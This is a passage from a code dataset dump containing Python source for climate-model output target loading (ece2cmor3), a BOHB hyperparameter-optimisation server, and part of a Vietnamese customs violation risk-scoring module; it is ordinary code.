else config))\n setattr(t, \"load_status\", \"dismissed\")\n for key, tgts in list(d.items()):\n if len(tgts) > 1:\n log.warning(\"Duplicate variables found with output name %s in table %s: %s\" %\n (getattr(tgts[0], \"out_name\", tgts[0].variable), tgts[0].table,\n ','.join([tgt.variable for tgt in tgts])))\n choices = prefs.choose_variable(tgts, model, config)\n for t in tgts:\n if t not in choices:\n log.info('Dismissing {:7} target {:20} within {:17} configuration due to preference flagging'\n .format(model, str(t), \"any\" if config is None else config))\n setattr(t, \"load_status\", \"dismissed\")\n else:\n choices = [tgts[0]]\n enabled_targets.extend(choices)\n matches[model] = [t for t in targetlist if t in enabled_targets]\n omitted_targets = set(requested_targets) - set([t for target_list in list(matches.values()) for t in target_list])\n return matches, list(omitted_targets)\n\n\ndef apply_filters(matches, target_filters=None):\n if target_filters is None:\n return matches\n result = {}\n for model, targetlist in list(matches.items()):\n requested_targets = targetlist\n for msg, func in list(target_filters.items()):\n filtered_targets = list(filter(func, requested_targets))\n for tgt in list(set(requested_targets) - set(filtered_targets)):\n log.info(\"Dismissing %s target variable %s in table %s for component %s...\" %\n (msg, tgt.variable, tgt.table, model))\n requested_targets = filtered_targets\n log.info(\"Found %d requested cmor target variables for %s.\" % (len(requested_targets), model))\n result[model] = requested_targets\n return result\n\n\ndef search_duplicate_tasks(matches):\n status_ok = True\n for model in list(matches.keys()):\n targetlist = matches[model]\n n = len(targetlist)\n for i in range(n):\n t1 = targetlist[i]\n key1 = '_'.join([t1.variable, t1.table])\n okey1 = '_'.join([getattr(t1, \"out_name\", t1.variable), t1.table])\n if i < n - 1:\n for j in range(i + 1, n):\n t2 = targetlist[j]\n key2 = '_'.join([t2.variable, t2.table])\n okey2 = '_'.join([getattr(t2, \"out_name\", t2.variable), t2.table])\n if t1 == t2 or key1 == key2:\n log.error(\"Found duplicate target %s in table %s for model %s\"\n % (t1.variable, t1.table, model))\n status_ok = False\n elif okey1 == okey2:\n log.error(\"Found duplicate output name for targets %s, %s in table %s for model %s\"\n % (t1.variable, t2.variable, t1.table, model))\n status_ok = False\n index = list(matches.keys()).index(model) + 1\n if index < len(list(matches.keys())):\n for other_model in list(matches.keys())[index:]:\n other_targetlist = matches[other_model]\n for t2 in other_targetlist:\n key2 = '_'.join([t2.variable, t2.table])\n okey2 = '_'.join([getattr(t2, \"out_name\", t2.variable), t2.table])\n if t1 == t2 or key1 == key2:\n log.error(\"Found duplicate target %s in table %s for models %s and %s\"\n % (t1.variable, t1.table, model, other_model))\n status_ok = False\n elif okey1 == okey2:\n log.error(\n \"Found duplicate output name for targets %s, %s in table %s for models %s and %s\"\n % (t1.variable, t2.variable, t1.table, model, other_model))\n status_ok = False\n return status_ok\n\n\ndef split_targets(targetlist):\n ignored_targets = [t for t in targetlist if getattr(t, \"load_status\", None) == \"ignored\"]\n identified_missing_targets = [t for t in targetlist if\n getattr(t, \"load_status\", None) == \"identified missing\"]\n missing_targets = [t for t in targetlist if getattr(t, \"load_status\", None) == \"missing\"]\n dismissed_targets = [t for t in targetlist if getattr(t, \"load_status\", None) == \"dismissed\"]\n return ignored_targets, identified_missing_targets, missing_targets, dismissed_targets\n\n\ndef read_drq(varlist):\n targetlist = []\n if isinstance(varlist, str):\n if os.path.isfile(varlist):\n fname, fext = os.path.splitext(varlist)\n if len(fext) == 0:\n targetlist = load_targets_f90nml(varlist)\n elif fext[1:] == \"json\":\n targetlist = load_targets_json(varlist, asfile=True)\n elif fext[1:] == \"xlsx\":\n targetlist = load_targets_excel(varlist)\n elif fext[1:] == \"nml\":\n targetlist = load_targets_f90nml(varlist)\n else:\n log.error(\"Cannot create a list of cmor-targets for file %s with unknown file type\" % varlist)\n else:\n log.info(\"Reading input variable list as json string...\")\n targetlist = load_targets_json(varlist, asfile=False)\n elif all(isinstance(t, cmor_target.cmor_target) for t in varlist):\n targetlist = varlist\n elif isinstance(varlist, dict):\n targetlist = []\n for table, val in varlist.items():\n varseq = [val] if isinstance(val, str) else val\n for v in varseq:\n add_target(v, table, targetlist)\n else:\n log.error(\"Cannot create a list of cmor-targets for argument %s\" % varlist)\n return targetlist\n\n\n# Filters out ignored, identified missing and omitted targets from the input target list. Attaches attributes to the\n# omitted targets to track what happened to the variable\ndef omit_targets(targetlist):\n omitvarlist_01 = load_checkvars_excel(omit_vars_file_01)\n omitvarlist_02 = load_checkvars_excel(omit_vars_file_02)\n omitvarlist_03 = load_checkvars_excel(omit_vars_file_03)\n omitvarlist_04 = load_checkvars_excel(omit_vars_file_04)\n omitvarlist_05 = load_checkvars_excel(omit_vars_file_05)\n omit_lists = {\"omit 01\": omitvarlist_01, \"omit 02\": omitvarlist_02, \"omit 03\": omitvarlist_03,\n \"omit 04\": omitvarlist_04, \"omit 05\": omitvarlist_05}\n ignoredvarlist = load_checkvars_excel(ignored_vars_file)\n identifiedmissingvarlist = load_checkvars_excel(identified_missing_vars_file)\n filtered_list = []\n for target in targetlist:\n key = target.variable if skip_tables else (target.table, target.variable)\n if key in ignoredvarlist:\n target.ecearth_comment, target.comment_author = ignoredvarlist[key]\n setattr(target, \"load_status\", \"ignored\")\n elif key in identifiedmissingvarlist:\n setattr(target, \"load_status\", \"identified missing\")\n if with_pingfile:\n comment, author, model, units, pingcomment = identifiedmissingvarlist[key]\n setattr(target, \"ecearth_comment\", comment)\n setattr(target, \"comment_author\", author)\n setattr(target, \"model\", model)\n setattr(target, \"units\", units)\n setattr(target, \"pingcomment\", pingcomment)\n else:\n comment, author = identifiedmissingvarlist[key]\n setattr(target, \"ecearth_comment\", comment)\n setattr(target, \"comment_author\", author)\n elif any([key in omitvarlist for omitvarlist in list(omit_lists.values())]):\n for status, omitvarlist in list(omit_lists.items()):\n if key in omitvarlist:\n setattr(target, \"load_status\", status)\n break\n else:\n filtered_list.append(target)\n return filtered_list\n\n\n# Loads a json file or string or dictionary containing the cmor targets.\ndef load_targets_json(variables, asfile=True):\n vardict = {}\n if isinstance(variables, str):\n vartext = open(variables, 'r').read() if asfile else variables\n vardict = json.loads(vartext)\n elif isinstance(variables, dict):\n vardict = variables\n else:\n log.error(\"Cannot create cmor target list from object %s\" % str(variables))\n targets = []\n for tab, var in vardict.items():\n if tab in components.models and isinstance(var, dict):\n raise SwapDrqAndVarListException(reverse=False)\n if not isinstance(tab, str):\n log.error(\"Cannot interpret %s as a CMOR table identifier\" % str(tab))\n continue\n if isinstance(var, str):\n add_target(var, tab, targets)\n elif isinstance(var, list):\n for v in var:\n add_target(v, tab, targets)\n else:\n log.error(\"Cannot create cmor target from table %s and variable(s) %s\" % (tab, str(var)))\n return targets\n\n\n# Loads the legacy ece2cmorlib input namelists to targets\ndef load_targets_f90nml(varlist):\n global log\n import f90nml\n vlist = f90nml.read(varlist)\n targets = []\n for sublist in vlist[\"varlist\"]:\n freq = sublist[\"freq\"]\n vars2d = sublist.get(\"vars2d\", [])\n vars3d = sublist.get(\"vars3d\", [])\n for v in (vars2d + vars3d):\n tlist = ece2cmorlib.get_cmor_target(v)\n tgt = [t for t in tlist if t.frequency == freq]\n if len(tgt) == 0:\n log.error(\n \"Could not find cmor targets of variable %s with frequency %s in current set of tables\" % (v, freq))\n targets.extend(tgt)\n return targets\n\n\n# Loads a drq excel file containing the cmor targets.\ndef load_targets_excel(data_request_file):\n global log\n import openpyxl\n\n sheet_column_indices = create_sheet_column_indices()\n\n workbook = openpyxl.load_workbook(filename=data_request_file, read_only=None)\n targets = []\n\n var_colname = \"CMOR Name\"\n vid_colname = \"vid\"\n mip_list_colname = \"MIPs (by experiment)\"\n priority_colname = \"Priority\" # Priority column name for the experiment cmvme_*.xlsx files\n default_priority_colname = \"Default Priority\" # Priority column name for the mip overview cmvmm_*.xlsx files\n\n # Loop over the sheets (tables). Each sheetname corresponds with a cmor table and thus each sheet (table) contains all requested variables for that cmor table:\n for sheetname in workbook.sheetnames:\n if sheetname.lower() in [\"notes\"]:\n continue\n worksheet = workbook[sheetname]\n\n # Create a dictionary with column names as keys and column numbers as values:\n column_names = {}\n column_counter = 0\n for column_name in worksheet.iter_cols(min_col=None, max_col=None, min_row=None, max_row=None, values_only=False):\n column_names[str(column_name[0].value)] = sheet_column_indices[column_counter]\n column_counter += 1\n\n if priority_colname not in column_names:\n # If no \"Priority\" column is found try to find a \"Default Priority\" column instead\n priority_colname = default_priority_colname\n\n for column in [var_colname, vid_colname, mip_list_colname, priority_colname]:\n if column not in column_names:\n log.error('Could not find the {:} column in sheet {:9} for file {:}: skipping entire table.'.format('\"'+column+'\"', sheetname, data_request_file))\n # If an error here, the error will be messaged and a crash will follow below.\n\n varnames = list_based_on_xlsx_column(worksheet, column_names, 'CMOR Name', var_colname )\n vids = list_based_on_xlsx_column(worksheet, column_names, 'CMOR Name', vid_colname )\n mip_list = list_based_on_xlsx_column(worksheet, column_names, 'CMOR Name', mip_list_colname)\n priority = list_based_on_xlsx_column(worksheet, column_names, 'CMOR Name', priority_colname)\n\n for i in range(len(varnames)):\n add_target(str(varnames[i]), sheetname, targets, vids[i], priority[i], mip_list[i])\n return targets\n\n\n# Small utility loading targets from the list\ndef add_target(variable, table, targetlist, vid=None, priority=None, mip_list=None):\n global log\n target = ece2cmorlib.get_cmor_target(variable, table)\n if target:\n if vid:\n target.vid = vid\n if priority:\n target.priority = priority\n if mip_list:\n target.mip_list = mip_list\n targetlist.append(target)\n return True\n else:\n log.error(\"The %s variable does not appear in the CMOR table file %s\" % (variable, table))\n return False\n\n\n# Loads the basic excel ignored file containing the cmor variables for which has been decided that they will be not\n# taken into account or it loads the basic excel identified-missing file containing the cmor variables which have\n# been identified but are not yet fully cmorized. This function can be used to read any excel file which has been\n# produced by the checkvars.py script, in other words it can read the basic ignored, basic identified missing,\n# available, ignored, identified-missing, and missing files.\ndef load_checkvars_excel(basic_ignored_excel_file):\n global log, skip_tables, with_pingfile\n import openpyxl\n\n sheet_column_indices = create_sheet_column_indices()\n\n workbook = openpyxl.load_workbook(filename=basic_ignored_excel_file, read_only=None)\n worksheet = workbook['Sheet1']\n varlist = {}\n\n # Create a dictionary with column names as keys and column numbers as values:\n column_names = {}\n column_counter = 0\n for column_name in worksheet.iter_cols(min_col=None, max_col=None, min_row=None, max_row=None, values_only=False):\n column_names[column_name[0].value] = sheet_column_indices[column_counter]\n column_counter += 1\n\n table_colname = \"Table\"\n var_colname = \"variable\"\n comment_colname = \"comment\"\n author_colname = \"comment author\"\n model_colname = \"model component in ping file\"\n units_colname = \"units as in ping file\"\n pingcomment_colname = \"ping file comment\"\n\n required_column_names = [table_colname, var_colname, comment_colname, author_colname]\n\n for column_name in required_column_names:\n if column_name not in list(column_names.keys()):\n log.error('Could not find the column {:30} in {:} in the file {:}'.format('\"'+column_name+'\"', worksheet.title, basic_ignored_excel_file))\n\n if skip_tables:\n tablenames = []\n else:\n tablenames = list_based_on_xlsx_column(worksheet, column_names, 'variable', table_colname ) # CMOR table name\n varnames = list_based_on_xlsx_column(worksheet, column_names, 'variable', var_colname ) # CMOR variable name\n comments = list_based_on_xlsx_column(worksheet, column_names, 'variable', comment_colname ) # Identification comment by EC-Earth members\n authors = list_based_on_xlsx_column(worksheet, column_names, 'variable', author_colname ) # Author(s) of comment\n if with_pingfile:\n pingfile_column_names = [model_colname, units_colname, pingcomment_colname]\n for column_name in pingfile_column_names:\n if column_name not in list(column_names.keys()):\n log.error('Could not find the column {:30} in {:} in the file {:}'.format('\"'+column_name+'\"', worksheet.title, basic_ignored_excel_file))\n pingfile_content_available = False\n else:\n model_component = list_based_on_xlsx_column(worksheet, column_names, 'variable', model_colname ) # NEMO model component as in the ping files\n ping_units = list_based_on_xlsx_column(worksheet, column_names, 'variable', units_colname ) # The units as given in the ping files\n ping_comment = list_based_on_xlsx_column(worksheet, column_names, 'variable', pingcomment_colname) # The comment as given in the ping files\n pingfile_content_available = True\n\n if skip_tables:\n for i in range(len(varnames)):\n if with_pingfile and pingfile_content_available:\n varlist[varnames[i]] = (comments[i], authors[i], model_component[i], ping_units[i], ping_comment[i])\n else:\n varlist[varnames[i]] = (comments[i], authors[i])\n else:\n for i in range(len(varnames)):\n varlist[(tablenames[i], varnames[i])] = (comments[i], authors[i])\n return varlist\n\ndef list_based_on_xlsx_column(sheet, column_names, varname_for_empty_check, column_name):\n list_with_column_content = []\n for cell in sheet[column_names[column_name]]:\n cell_id_cmor_var = column_names[varname_for_empty_check] + str(cell.row) # Construct the cell id of the corresponding cmor variable cell\n if sheet[cell_id_cmor_var].value != None: # Only empty lines are deselected (based on an empty cmor variable cell\n #list_with_column_content.append(str(cell.value))\n list_with_column_content.append(cell.value)\n del list_with_column_content[0] # Remove the first row, the header line\n return list_with_column_content\n\ndef create_sheet_column_indices():\n import string\n alphabet = list(string.ascii_uppercase)\n alphabet_extended = ['A' + s for s in alphabet]\n sheet_column_indices = alphabet + alphabet_extended\n return sheet_column_indices\n\ndef match_variables(targets, model_variables):\n global json_target_key\n # Return value: dictionary of models and lists of targets\n matches = {m: [] for m in list(components.models.keys())}\n # Loop over requested variables\n for target in targets:\n # Loop over model components\n for model, variable_mapping in list(model_variables.items()):\n # Loop over supported variables by the component\n for parblock in variable_mapping:\n if matchvarpar(target, parblock):\n if target in matches[model]:\n raise Exception(\"Invalid model parameter file %s: multiple source found found for target %s \"\n \"in table %s\" % (components.models[model][components.table_file],\n target.variable, target.table))\n if parblock.get(\"table_override\", {}).get(\"table\", \"\") == target.table:\n parmatch = parblock[\"table_override\"]\n else:\n parmatch = parblock\n if model == 'ifs':\n comment_string = '{:4} code name = {:>7}'.format(model, parmatch.get(json_source_key, \"?\"))\n else:\n comment_string = '{:4} code name = {:}'.format(model, parmatch.get(json_source_key, \"?\"))\n if cmor_source.expression_key in list(parmatch.keys()):\n comment_string += \", expression = \" + parmatch[cmor_source.expression_key]\n comment = getattr(target, \"ecearth_comment\", None)\n if comment is not None:\n setattr(target, \"ecearth_comment\", comment + ' | ' + comment_string)\n else:\n setattr(target, \"ecearth_comment\", comment_string)\n setattr(target, \"comment_author\", \"automatic\")\n matches[model].append(target)\n return matches\n\n\n# Checks whether the variable matches the parameter table block\ndef matchvarpar(target, parblock):\n result = False\n parvars = parblock.get(json_target_key, None)\n if isinstance(parvars, list) and target.variable in parvars:\n result = True\n if isinstance(parvars, str) and target.variable == parvars:\n result = True\n if hasattr(parblock, json_table_key) and target.table != parblock[json_table_key]:\n result = False\n if hasattr(parblock, json_tables_key) and target.table not in parblock[json_tables_key]:\n result = False\n return result\n\n\n# Creates tasks for the considered requested targets, using the parameter tables in the resource folder\ndef create_tasks(matches, active_components, masks):\n global log, ignored_vars_file, json_table_key, skip_tables\n result = []\n model_vars = load_model_vars()\n for model, targets in list(matches.items()):\n if isinstance(active_components, list) and model not in active_components:\n continue\n if isinstance(active_components, str) and model != active_components:\n continue\n parblocks = model_vars[model]\n for target in targets:\n parmatches = [b for b in parblocks if matchvarpar(target, b)]\n if not any(parmatches):\n log.error(\"Variable %s in table %s is not supported by %s in ece2cmor3; if you do expect an ec-earth \"\n \"output variable here, please create an issue or pull request on our github page\"\n % (target.variable, target.table, model))\n continue\n parmatch = parmatches[0]\n if len(parmatches) > 1:\n log.warning(\"Multiple matching parameters for %s found for variable %s in table %s: proceeding with \"\n \"first match %s\" % (model, target.variable, target.table, parmatch.get(\"source\", None)))\n if parmatch.get(\"table_override\", {}).get(\"table\", \"\") == target.table:\n parmatch = parmatch[\"table_override\"]\n task = create_cmor_task(parmatch, target, model, masks)\n if ece2cmorlib.add_task(task):\n result.append(task)\n log.info(\"Created %d ece2cmor tasks from input variable list.\" % len(result))\n return result\n\n\ndef load_model_vars():\n model_vars = {}\n for m in components.models:\n tabfile = components.models[m].get(components.table_file, \"\")\n if os.path.isfile(tabfile):\n with open(tabfile) as f:\n model_vars[m] = json.loads(f.read())\n else:\n log.warning(\"Could not read variable table file %s for component %s\" % (tabfile, m))\n model_vars[m] = []\n return model_vars\n\n\n# TODO: Delegate to components\ndef load_masks(model_vars):\n result = {}\n for par in model_vars[\"ifs\"]:\n if json_mask_key in par:\n name = par[json_mask_key]\n expr = par.get(cmor_source.expression_key, None)\n if not expr:\n log.error(\"No expression given for mask %s, ignoring mask definition\" % name)\n else:\n result[name] = expr\n srcstr, func, val = parse_maskexpr(expr)\n if srcstr:\n src = create_cmor_source({json_source_key: srcstr}, \"ifs\")\n ece2cmorlib.add_mask(name, src, func, val)\n return result\n\n\ndef load_scripts(model_vars):\n for component in list(model_vars.keys()):\n for par in model_vars[component]:\n if json_script_key in par:\n ece2cmorlib.add_script(component, name=par[json_script_key], attributes=par)\n\n\n# Parses the input mask expression\n# TODO: Delegate to components\ndef parse_maskexpr(exprstring):\n global mask_predicates\n ops = list(mask_predicates.keys())\n ops.sort(key=len)\n for op in ops[::-1]:\n tokens = exprstring.split(op)\n if len(tokens) == 2:\n src = tokens[0].strip()\n if src.startswith(\"var\"):\n src = src[3:]\n if len(src.split(\".\")) == 1:\n src += \".128\"\n func = mask_predicates[op]\n val = float(tokens[1].strip())\n return src, func, val\n log.error(\"Expression %s could not be parsed to a valid mask expression\")\n return None, None, None\n\n\n# Creates a single task from the target and parameter table entry\ndef create_cmor_task(pardict, target, component, masks):\n global log, json_source_key\n mask = pardict.get(json_masked_key, None)\n if mask is not None and mask in masks:\n pardict[cmor_source.mask_expression_key] = masks[mask]\n source = create_cmor_source(pardict, component)\n if source is None:\n raise ValueError(\"Failed to construct a source for target variable %s in table %s: task skipped.\"\n % (target.variable, target.table))\n task = cmor_task.cmor_task(source, target)\n if mask is not None:\n setattr(task.target, cmor_target.mask_key, mask)\n for par in pardict:\n if par not in [json_source_key, json_target_key, json_mask_key, json_masked_key, json_table_key, \"expr\"]:\n setattr(task, par, pardict[par])\n return task\n","repo_name":"EC-Earth/ece2cmor3","sub_path":"ece2cmor3/taskloader.py","file_name":"taskloader.py","file_ext":"py","file_size_in_byte":32208,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"72762395026","text":"__author__ = 'gchlebus'\n\nimport os\nimport shutil\nimport hpbandster.core.nameserver as hpns\nimport hpbandster.core.result as hpres\nfrom hpbandster.optimizers import BOHB as BOHB\nfrom utils import makedir\n\nCONFIGSPACE_FILENAME = \"configspace.py\"\nOUTPUT_FILENAME = \"output.txt\"\n\n\ndef _exec(filePath, requiredFunction):\n try:\n with open(filePath, \"r\") as f:\n exp = f.read()\n exec(exp)\n assert requiredFunction in locals()\n return locals()[requiredFunction]\n except (FileNotFoundError, SyntaxError, AssertionError) as e:\n raise RuntimeError(e)\n\n\ndef copy_file(src, dst):\n makedir(os.path.dirname(dst))\n shutil.copyfile(src, dst)\n\n\ndef parse_args():\n import argparse\n parser = argparse.ArgumentParser(description='Starts the HPO server. The HPO server should be started before HPO '\n 'workers.')\n parser.add_argument('configspace', type=str, help=\"Path to the config space definition.\")\n parser.add_argument('output', type=str, help='Output directory (has to be accessible by HPO workers).')\n parser.add_argument('-i', '--interface', type=str, default=\"127.0.0.1\",\n help='Communication interface (default: %(default)s).')\n parser.add_argument('-p', '--port', type=int, default=57945,\n help='Server port (default: %(default)d).')\n parser.add_argument('-mib', '--min-budget', type=float, default=1,\n help='Minimum epochs used during the optimization (default: %(default)d).')\n parser.add_argument('-mab', '--max-budget', type=float, default=9,\n help='Maximum epochs used during the optimization (default: %(default)d).')\n parser.add_argument('-it', '--iterations', type=int, default=5,\n help='Number of iterations performed by the optimizer (default: %(default)d).')\n parser.add_argument('-w', '--workers', type=int, default=1,\n help='Number of HPO workers (default: %(default)d). Server waits until the specified number '\n 'of workers is connected.')\n\n parser.add_argument('--prev-output', type=str,\n help='Previous output directory to be used to warmstart the HPO algorithm. '\n 'Makes sense only if exactly the same config space definition is used.')\n parser.add_argument('--run-id', type=str, default=\"0\",\n help='A unique run id for this optimization run (default: %(default)s)')\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n copy_file(args.configspace, os.path.join(args.output, CONFIGSPACE_FILENAME))\n\n NS = hpns.NameServer(run_id=args.run_id, host=args.interface, port=args.port, working_directory=args.output)\n ns_host, ns_port = NS.start()\n\n get_configspace = _exec(args.configspace, \"get_configspace\")\n\n result_logger = hpres.json_result_logger(directory=args.output, overwrite=True)\n\n previous_run = None\n if args.prev_output:\n previous_run = hpres.logged_results_to_HBS_result(args.prev_output)\n\n bohb = BOHB(configspace=get_configspace(),\n run_id=args.run_id, host=args.interface, nameserver=args.interface, nameserver_port=args.port,\n min_budget=args.min_budget, max_budget=args.max_budget, result_logger=result_logger,\n previous_result=previous_run\n )\n print(\"Waiting for %d worker(s).\" % args.workers)\n res = bohb.run(n_iterations=args.iterations, min_n_workers=args.workers)\n\n bohb.shutdown(shutdown_workers=True)\n NS.shutdown()\n\n id2config = res.get_id2config_mapping()\n incumbent = res.get_incumbent_id()\n\n output_path = os.path.join(args.output, OUTPUT_FILENAME)\n with open(output_path, \"w\") as f:\n f.write('Best found configuration %s: %s\\n' % (incumbent, id2config[incumbent]['config']))\n f.write('A total of %i unique configurations where sampled.\\n' % len(id2config.keys()))\n f.write('A total of %i runs where executed.\\n' % len(res.get_all_runs()))\n f.write('Total budget corresponds to %.1f full function evaluations.\\n' % (\n sum([r.budget for r in res.get_all_runs()]) / args.max_budget))\n print('Best configuration saved to %s.' % output_path)\n","repo_name":"AnnekeMeyer/AnisotropicMultiStreamCNN","sub_path":"hpo_server.py","file_name":"hpo_server.py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"35063266085","text":"import sys\n\n#from pyparsing import unicode\n\nsys.path.append('.') # đoạn này để gọi import root folder của project vào module này : để gọi được đến các folder khác\nimport logging\n# define top level module logger\nlogger = logging.getLogger(__name__)\nfrom typing import List, Dict\nfrom itertools import groupby\nfrom collections import Counter\nfrom utils.constants import *\nfrom datamodels.crms.qlt_params import *\nfrom datamodels.crms.qlt_thongtins import QLT_THONGTINVIPHAM\n\nclass qlt_hsvp_xhdn:\n def __init__(self, _MA_DN: str, _qlt_tieuchi_hsvp, _params_hsvp : {}):\n self.MA_DN = _MA_DN\n self._qlt_tieuchi_hsvps: qlt_tieuchi_hsvp = _qlt_tieuchi_hsvp\n self._hsvp_params = _params_hsvp\n\n def get_giatri_thoaman(self, giatri, lst:[]):\n kl = None\n for i in lst:\n if giatri <= i:\n kl = i\n break\n if kl is None:\n logger.warning(\"qlt_hsvp_xhdn:get_giatri_thoaman giá trị {} không thỏa mãn danh sách có giá trị max {}\".format(i, lst[-1]))\n\n return kl\n\n @property\n def qlt_hsvp_tokhais(self):\n kl = qlt_hsvp_tokhai()\n kl.SOLUONG_COTK = len([item for item in self._qlt_tieuchi_hsvps.QLT_THONGTINVIPHAMs if item.COTK == const_crms.CO_TK])\n kl.SOLUONG_KHONGTK = len([item for item in self._qlt_tieuchi_hsvps.QLT_THONGTINVIPHAMs if item.COTK != const_crms.CO_TK])\n\n for p in self._hsvp_params[const_hsvp_params.QLT_PARAMS_HSVP_PLVPKTK]:\n if kl.SOLUONG_KHONGTK <= p.GIATRI:\n kl.DIEM_KHONGTK = p.DIEM\n break;\n\n return kl\n\n ## Hàm này hiện đang dài quá, sẽ viết ngắn gọn lại sau:\n #@property\n def qlt_hsvp_nhoms(self):\n _qlt_hsvp_nhoms: List[qlt_hsvp_nhom] = []\n\n ## (str(item.NK_XK), item.LOAIVIPHAM) : phải convert sang string thì dictionary mới sử dụng tuple là key đc:\n ## tuple là key của dict thì các item của tuple phải cùng kiểu\n ## tạm thời không dùng vì chưa hiểu sao unicode làm key bị remove ( LOAIVIPHAM có unicode : 127d15k4đ ...\n ##params_plvp = {(str(item.NK_XK), item.LOAIVIPHAM ): item for item in self._hsvp_params[const_hsvp_params.QLT_PARAMS_HSVP_PLVP]}\n\n params_plclt: List[QLT_PARAMS_HSVP_PLCLT] = self._hsvp_params[const_hsvp_params.QLT_PARAMS_HSVP_PLCLT]\n ## sắp xếp lại theo giá trị của bảng params_plclt:\n params_plclt.sort(key=lambda k: k.GIATRI, reverse=False)\n\n params_plhsvp: List[QLT_PARAMS_HSVP_PLHSVP] = self._hsvp_params[const_hsvp_params.QLT_PARAMS_HSVP_PLHSVP]\n ## sắp xếp lại theo giá trị của bảng params_plclt:\n params_plhsvp.sort(key=lambda k: k.ID_PHANLOAIVIPHAM, reverse=False)\n\n params_hspltn: List[QLT_PARAMS_HSVP_HSPLTN] = self._hsvp_params[const_hsvp_params.QLT_PARAMS_HSVP_HSPLTN]\n ## sắp xếp lại theo giá trị của bảng params_hspltn:\n params_hspltn.sort(key=lambda k: k.ID_TRACHNHIEM, reverse=False)\n\n ## lấy những vp có tờ khai, vi phạm ko có tờ khai tính ở qlt_hsvp_tokhais (NK_XK=3)\n _lst_tieuchi_hsvps_coTK: List[QLT_THONGTINVIPHAM] = [item for item in self._qlt_tieuchi_hsvps.QLT_THONGTINVIPHAMs if item.COTK == const_crms.CO_TK]\n\n _tmp_qlt_hsvp_nhoms: List[qlt_hsvp_nhom] = []\n for item in _lst_tieuchi_hsvps_coTK:\n for NK_XK in [1,2] : ## đoạn này code cũ đang fix NK_XK , phải hỏi thêm xem , phải lấy XK_NK từ item.XK_NK mới đúng(bảng QLT_THONGTINVIPHAM)\n\n kl = qlt_hsvp_nhom()\n kl.NK_XK = NK_XK #item.NK_XK\n #print(\"NK_XK:{} LOAIVIPHAM: {}\".format(item.NK_XK, item.LOAIVIPHAM))\n tmp = None\n #_lst_tmp = [i for i in self._hsvp_params[const_hsvp_params.QLT_PARAMS_HSVP_PLVP] if i.NK_XK == item.NK_XK and i.LOAIVIPHAM == item.LOAIVIPHAM ]\n _lst_tmp = [i for i in self._hsvp_params[const_hsvp_params.QLT_PARAMS_HSVP_PLVP] if\n i.NK_XK == NK_XK and i.LOAIVIPHAM == item.LOAIVIPHAM]\n if len(_lst_tmp) >0:\n tmp = _lst_tmp[0]\n\n if tmp:\n if tmp.ISAPDUNGCHENHLECHTHUE == const_crms.ISAPDUNGCHENHLECHTHUE:\n # tính ID_NHOM: theo bảng QLT_PARAMS_HSVP_PLCLT\n for p in params_plclt:\n if item.TONG_CHENHLECHTHUE <= p.GIATRI:\n kl.ID_NHOM = p.ID_NHOM\n break;\n else:\n # tính ID_NHOM: theo bảng QLT_PARAMS_HSVP_PLVP\n kl.ID_NHOM = tmp.ID_NHOM\n else:\n kl.ID_NHOM = const_crms.ID_NHOM_DEFAULT\n\n # tính HSPLVP:\n for p in params_plhsvp:\n if item.NGHIEMTRONG <= p.ID_PHANLOAIVIPHAM:\n kl.HSPLVP = p.HESO\n break;\n\n # tính HSPLTN:\n for p in params_hspltn:\n if item.TRACHNHIEM <= p.ID_TRACHNHIEM:\n kl.HSPLTN = p.HESO\n break\n\n if kl.HSPLTN is None or kl.HSPLTN == 0.0: kl.HSPLTN =1\n if kl.HSPLVP is None or kl.HSPLVP == 0.0: kl.HSPLVP = 1\n kl.SOLUONG_NHOM = kl.HSPLTN * kl.HSPLVP\n _tmp_qlt_hsvp_nhoms.append(kl)\n\n ##group nhóm:\n ## OUTPUT : [ [(ID_NHOM,NK_XK),DIEM)]]\n list_tmp = [[(x.ID_NHOM, x.NK_XK), x.SOLUONG_NHOM] for x in _tmp_qlt_hsvp_nhoms]\n\n ## OUTPUT : [ [(ID_NHOM,NK_XK),DIEM_MAX - đã group]]\n list_tmp2 = []\n for i, g in groupby(sorted(list_tmp), key=lambda x: x[0]):\n list_tmp2.append([i, sum(v[1] for v in g)])\n\n\n for item in list_tmp2:\n kl = qlt_hsvp_nhom()\n kl.ID_NHOM = item[0][0]\n kl.NK_XK = item[0][1]\n kl.SOLUONG_NHOM = item[1]\n _qlt_hsvp_nhoms.append(kl)\n\n return _qlt_hsvp_nhoms;\n\n\n #@property\n def qlt_hsvp_phanloai_nhoms(self):\n _qlt_hsvp_phanloai_nhoms: List[qlt_hsvp_phanloai_nhom] = []\n params_plslvp: List[QLT_PARAMS_HSVP_PLSLVP] = self._hsvp_params[const_hsvp_params.QLT_PARAMS_HSVP_PLSLVP]\n\n for dpln in self.qlt_hsvp_nhoms():\n kl = qlt_hsvp_phanloai_nhom()\n kl.ID_NHOM = dpln.ID_NHOM\n kl.NK_XK = dpln.NK_XK\n _params_plslvp: List[QLT_PARAMS_HSVP_PLSLVP] = [p for p in params_plslvp\n if p.NK_XK == dpln.NK_XK and p.ID_NHOM == dpln.ID_NHOM\n ]\n ## sắp xếp lại theo giá trị của bảng PLCC:\n _params_plslvp.sort(key=lambda k: k.GIATRI, reverse=False)\n for item in _params_plslvp:\n if dpln.SOLUONG_NHOM <= item.GIATRI:\n kl.DIEMNHOM = item.DIEM\n break\n _qlt_hsvp_phanloai_nhoms.append(kl)\n\n return _qlt_hsvp_phanloai_nhoms\n\n #@property\n def qlt_hsvp_tytrong_nhoms(self):\n _qlt_hsvp_tytrong_nhoms: List[qlt_hsvp_tytrong_nhom] = []\n _soluong_tktq = self.qlt_hsvp_tokhais.SOLUONG_COTK + self.qlt_hsvp_tokhais.SOLUONG_KHONGTK\n if self._qlt_tieuchi_hsvps.SOTOKHAIDUOCTHONGQUAN > _soluong_tktq:\n _soluong_tktq = self._qlt_tieuchi_hsvps.SOTOKHAIDUOCTHONGQUAN\n\n\n for item in self.qlt_hsvp_nhoms():\n kl = qlt_hsvp_tytrong_nhom()\n kl.ID_NHOM = item.ID_NHOM\n kl.NK_XK = item.NK_XK\n kl.TYTRONG =min((item.SOLUONG_NHOM/_soluong_tktq)*100, 100 )\n _qlt_hsvp_tytrong_nhoms.append(kl)\n\n return _qlt_hsvp_tytrong_nhoms\n\n\n #@property\n def qlt_hsvp_tyle_nhoms(self):\n 